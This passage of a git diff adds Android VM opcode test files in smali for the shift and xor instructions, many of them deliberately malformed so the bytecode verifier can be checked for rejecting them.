+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali
new file mode 100644
index 0000000..8317e56
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali
new file mode 100644
index 0000000..8160efb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 1
+       ushr-int/lit8 v1, v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali
new file mode 100644
index 0000000..da3c4c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_1.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali
new file mode 100644
index 0000000..7a42986
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 6
+
+       ushr-long v0, v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali
new file mode 100644
index 0000000..8ef3581
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_3.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       move v2, v3
+       ushr-long v1, v2, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali
new file mode 100644
index 0000000..7a48b17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_5.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v0
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali
new file mode 100644
index 0000000..fe92df7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_6.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v4
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali
new file mode 100644
index 0000000..445f379
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_7.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 6
+
+       ushr-long v1, v2, v4
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali
new file mode 100644
index 0000000..dc36d07
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali
new file mode 100644
index 0000000..80d5142
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 6
+
+       ushr-long/2addr v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali
new file mode 100644
index 0000000..d620157
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       move v0, v3
+       ushr-long/2addr v0, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali
new file mode 100644
index 0000000..eb5e735
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v0
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali
new file mode 100644
index 0000000..1b073b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v4
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali
new file mode 100644
index 0000000..2285e0c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 6
+
+       ushr-long/2addr v2, v4
+       return-wide v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali
new file mode 100644
index 0000000..83fce63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_1.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali
new file mode 100644
index 0000000..fcb494a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       move v1, v2 
+       const-wide/16 v2, 12345
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali
new file mode 100644
index 0000000..9bdc351
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_3.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v0
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali
new file mode 100644
index 0000000..80b44c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_5.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali
new file mode 100644
index 0000000..1b20765
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_6.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v3
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali
new file mode 100644
index 0000000..533be9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali
new file mode 100644
index 0000000..9576ac7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/2addr v1, v2
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali
new file mode 100644
index 0000000..1cab126
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v0
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali
new file mode 100644
index 0000000..8a5bde0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       xor-int/2addr v1, v2
+       return v1
+.end method
